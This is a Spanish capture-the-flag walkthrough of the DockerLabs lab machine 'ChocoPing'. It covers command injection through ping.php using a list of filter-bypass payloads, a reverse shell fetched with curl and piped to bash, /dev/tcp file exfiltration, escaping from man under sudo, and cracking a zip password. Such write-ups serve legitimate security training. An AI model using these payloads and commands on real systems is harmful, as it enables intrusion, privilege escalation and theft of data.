ChocoPing DockerLabs (Intermediate)

Instalación

Cuando obtenemos el .zip nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.

unzip chocoping.zip

Nos lo descomprimira y despues montamos la maquina de la siguiente forma.

bash auto_deploy.sh chocoping.tar

Info:

                            ##        .         
                      ## ## ##       ==         
                   ## ## ## ##      ===         
               /""""""""""""""""\___/ ===       
          ~~~ {~~ ~~~~ ~~~ ~~~~ ~~ ~ /  ===- ~~~
               \______ o          __/           
                 \    \        __/            
                  \____\______/               
                                          
  ___  ____ ____ _  _ ____ ____ _    ____ ___  ____ 
  |  \ |  | |    |_/  |___ |__/ |    |__| |__] [__  
  |__/ |__| |___ | \_ |___ |  \ |___ |  | |__] ___] 
                                         
                                     

Estamos desplegando la máquina vulnerable, espere un momento.

Máquina desplegada, su dirección IP es --> 172.17.0.2

Presiona Ctrl+C cuando termines con la máquina para eliminarla

Por lo que cuando terminemos de hackearla, le damos a Ctrl+C y nos eliminara la maquina para que no se queden archivos basura.

Escaneo de puertos

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>

Info:

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-11 10:44 CEST
Nmap scan report for 172.17.0.2
Host is up (0.000038s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.62
| http-ls: Volume /
| SIZE  TIME              FILENAME
| 1.0K  2025-04-05 11:13  ping.php
|_
|_http-title: Index of /
|_http-server-header: Apache/2.4.62 (Debian)
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: Host: 172.17.0.2

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.67 seconds

Veremos que solo hay un puerto 80 en el que tiene alojado un archivo llamado ping.php si intentamos entrar en el veremos el siguiente texto:

Por favor, ingresa una IP válida.

Vamos a realizar un poco de fuzzing para ver que parametro puede ser el que pueda enviar la IP.

FFUF

ffuf -u 'http://<IP>/ping.php?FUZZ=/etc/passwd' -w <WORDLIST> -fs 34

Info:


        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://172.17.0.2/ping.php?FUZZ=/etc/passwd
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/big.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 34
________________________________________________

ip                      [Status: 200, Size: 11, Words: 1, Lines: 1, Duration: 9ms]
:: Progress: [20469/20469] :: Job [1/1] :: 74 req/sec :: Duration: [0:00:03] :: Errors: 0 ::

Vemos que funciona con el parametro ip, por lo que vamos a probar lo siguiente:

URL = http://<IP>/ping.php?ip=<IP_ATTACKER>

Info:

PING 192.168.1.146 (192.168.1.146) 56(84) bytes of data.
64 bytes from 192.168.1.146: icmp_seq=1 ttl=64 time=0.031 ms
64 bytes from 192.168.1.146: icmp_seq=2 ttl=64 time=0.058 ms
64 bytes from 192.168.1.146: icmp_seq=3 ttl=64 time=0.051 ms
64 bytes from 192.168.1.146: icmp_seq=4 ttl=64 time=0.053 ms

--- 192.168.1.146 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3094ms
rtt min/avg/max/mdev = 0.031/0.048/0.058/0.010 ms

Veremos que ha funcionado, como esto se esta realizando por el protocolo ICMP vamos a probar a dumpear la informacion que estamos recibiendo con la herramienta tcpdump.

Pero no veremos gran cosa, vamos a seguir realizando fuzzing para poder intentar realizar un RCE poniendo ; pero si lo hacemos nos pondra comando no permitido por lo que vamos a probar a codificarlo en URL pero con la herramienta FFUF.

bypasses.txt

/usr/bin/p?ng
nma? -p 80 localhost
/usr/bin/who*mi
touch -- -la
ls
/usr/bin/n[c]
'p'i'n'g
"w"h"o"a"m"i
\u\n\a\m\e \-\a
ech''o test
ech""o test
bas''e64
/\b\i\n/////s\h
echo whoami|$0
cat$u /etc$u/passwd$u
p${u}i${u}n${u}g
p$(u)i$(u)n$(u)g
w`u`h`u`o`u`a`u`m`u`i
!-1
mi
whoa
!-1!-2
{cat,lol.txt}
{echo,test}
cat${IFS}/etc/passwd
cat$IFS/etc/passwd
IFS=];b=wget]10.10.14.21:53/lol]-P]/tmp;$b
IFS=];b=cat]/etc/passwd;$b
IFS=,;`cat<<<cat,/etc/passwd`
echo${IFS}test
X=$'cat\x20/etc/passwd'&&$X
p\
i\
n\
g
$u $u
uname!-1\-a
ffuf -u "http://<IP>/ping.php?ip=<IP_ATTACKER>;FUZZ" -w bypasses.txt --enc 'FUZZ:urlencode' -fs 21

Info:


        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://172.17.0.2/ping.php?ip=192.168.1.146;FUZZ
 :: Wordlist         : FUZZ: /home/kali/Desktop/bypasses.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 21
________________________________________________

p%5C                    [Status: 200, Size: 22, Words: 1, Lines: 1, Duration: 3ms]
n%5C                    [Status: 200, Size: 22, Words: 1, Lines: 1, Duration: 4ms]
X%3D%24%27cat%5Cx20%2Fetc%2Fpasswd%27%26%26%24X [Status: 200, Size: 22, Words: 1, Lines: 1, Duration: 4ms]
i%5C                    [Status: 200, Size: 22, Words: 1, Lines: 1, Duration: 4ms]
%5Cu%5Cn%5Ca%5Cm%5Ce+%5C-%5Ca [Status: 200, Size: 126, Words: 11, Lines: 2, Duration: 3251ms]
%2F%5Cb%5Ci%5Cn%2F%2F%2F%2F%2Fs%5Ch [Status: 200, Size: 22, Words: 1, Lines: 1, Duration: 4262ms]
:: Progress: [37/37] :: Job [1/1] :: 8 req/sec :: Duration: [0:00:04] :: Errors: 0 ::

Veremos que en esta linea de aqui:

%5Cu%5Cn%5Ca%5Cm%5Ce+%5C-%5Ca [Status: 200, Size: 126, Words: 11, Lines: 2, Duration: 3251ms]

Pone Words: 11 por lo que sabemos que algo esta poniendo en la pagina, si probamos a utilizar dicho payload:

URL = http://<IP>/ping.php?ip=192.168.1.146;%5Cu%5Cn%5Ca%5Cm%5Ce+%5C-%5Ca

Info:

Linux b2e08b52d168 6.11.2-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.11.2-1kali1 (2024-10-15) x86_64 GNU/Linux

Vemos que se esta ejecutando de forma correcta, por lo que vamos a probar a utilizar la misma mecanica, pero para leer el archivo passwd.

URL = http://<IP>/ping.php?ip=<IP_ATTACKER>;\c\a\t+/e\t\c/p\a\s\s\w\d

Info:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
balutin:x:1000:1000:balutin,,,:/home/balutin:/bin/bash
messagebus:x:100:102::/nonexistent:/usr/sbin/nologin
tcpdump:x:101:103::/nonexistent:/usr/sbin/nologin

Vemos que se esta volcando de forma correcta, por lo que vamos a realizar un reverse shell.

Vamos a generar el archivo shell.sh con la reverse shell:

shell.sh

#!/bin/bash

bash -i >& /dev/tcp/<IP>/<PORT> 0>&1

Abriremos un servidor de python para que pueda coger el archivo.

python3 -m http.server 80

Vamos a realizar este comando:

curl -s http://192.168.1.146/shell.sh | bash

Cambiar la IP (192.168.1.146) por la vuestra, en mi caso quedaria algo asi:

URL = http://<IP>/ping.php?ip=<IP_ATTACKER>;\c\u\r\l+ -\s+ h\t\t\p://1\9\2.1\6\8.1.1\4\6/s\h\e\l\l.sh+|\b\a\s\h

Antes de ejecutarlo nos pondremos a la escucha de la siguiente forma:

nc -lvnp <PORT>

Ahora si enviamos ese payload y volvemos a donde tenemos la escucha veremo lo siguiente:

listening on [any] 7777 ...
connect to [192.168.1.146] from (UNKNOWN) [172.17.0.2] 58866
bash: cannot set terminal process group (25): Inappropriate ioctl for device
bash: no job control in this shell
www-data@b2e08b52d168:/var/www/html$ whoami
whoami
www-data

Veremos que ha funcionado, por lo que vamos a sanitizar la shell.

Sanitización de shell (TTY)

script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash

# Para ver las dimensiones de nuestra consola en el Host
stty size

# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>

Escalate user balutin

Si hacemos sudo -l veremos lo siguiente:

Matching Defaults entries for www-data on 2f80b9197745:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User www-data may run the following commands on 2f80b9197745:
    (balutin) NOPASSWD: /usr/bin/man

Veremos que podemos ejecutar el binario man como el usuario balutin por lo que podremos hacer lo siguiente:

sudo -u balutin man man
!/bin/bash

Info:

balutin@2f80b9197745:/var/www/html$ whoami
balutin

Con esto ya seremos dicho usuario.

Escalate Privileges

Si vamos a nuestra home veremos un archivo .zip el cual no podremos descomprimir ya que tiene contraseña, por lo que vamos a pasarnoslo a nuestra maquina host pero la maquina victima no tendra python por lo que tendremos que hacerlo de la siguiente forma:

cat ~/secretito.zip > /dev/tcp/<IP_ATTACKER>/<PORT>

En la maquina host pondremos lo siguiente:

nc -lvnp <PORT> > secretito.zip

Ahora enviamos el comando anterior estando a la escucha y veremos esto:

listening on [any] 7755 ...
connect to [192.168.1.146] from (UNKNOWN) [172.17.0.2] 44344

Con esto veremos que ha funcionado de forma correcta y veremos el archivo secretito.zip por lo que vamos a crackear la contraseña de la siguiente forma:

zip2john

zip2john secretito.zip > hash.zip
john --wordlist=<WORDLIST> hash.zip

Info:

Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
chocolate        (secretito.zip/traffic.pcap)     
1g 0:00:00:00 DONE (2025-04-12 03:36) 25.00g/s 102400p/s 102400c/s 102400C/s 123456..oooooo
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Veremos que ha funcionado y abremos obtenido el .pcap vamos a ver que contiene:

unzip secretito.zip

Metemos como contraseña chocolate y veremos que se descomprimio de forma correcta, ahota si intentamos abrir el .pcap con Wireshark veremos que hay archivos corruptos, por lo que vamos a intentar ver los strings de dicho archivo:

strings traffic.pcap

Info:

POST /login HTTP/1.1
Host: ejemplo.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
username=root&password=secretitosecretazo!
GET /private HTTP/1.1
Authorization: Basic cm9vdDpTdXBlclNlY3JldDEyMyE=
Host: ejemplo.com

Veremos que contiene la password de root por lo que vamos a probarla en la maquina victima:

su root

Info:

root@2f80b9197745:/home/balutin# whoami
root

Metemos como contraseña secretitosecretazo! y veremos que funciono, por lo que habremos terminado la maquina.

Last updated